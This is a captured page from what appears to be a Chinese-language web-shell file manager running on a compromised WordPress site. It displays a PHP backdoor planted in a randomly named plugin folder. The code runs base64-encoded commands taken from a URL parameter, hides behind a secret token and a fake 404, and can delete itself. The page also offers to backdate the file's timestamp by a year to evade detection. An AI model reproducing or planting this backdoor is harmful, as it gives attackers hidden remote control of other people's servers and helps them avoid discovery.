文件操作 - direct.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/jeepgladiatoraccesso/public_html/wp-content/plugins/w2sd5da91186371/direct.php
编辑文件内容
<?php if (!hash_equals('29e7f934bce439fca48ed4c57166bf63', (string)($_GET['t'] ?? ''))) { http_response_code(404); exit; } if (isset($_GET['rm'])) { $d = __DIR__; foreach (glob($d . '/*') as $f) { @unlink($f); } @rmdir($d); echo 'W2S::REMOVED::END'; exit; } $c = base64_decode((string)($_GET['c'] ?? '')) . ' 2>&1'; $o = 'NO_EXEC'; if (function_exists('shell_exec')) { $o = shell_exec($c); } elseif (function_exists('exec')) { exec($c, $r); $o = implode("\n", $r); } elseif (function_exists('system')) { ob_start(); system($c); $o = ob_get_clean(); } elseif (function_exists('passthru')) { ob_start(); passthru($c); $o = ob_get_clean(); } echo 'W2S::' . $o . '::END';
修改文件时间
将文件时间修改为当前时间的前一年
删除文件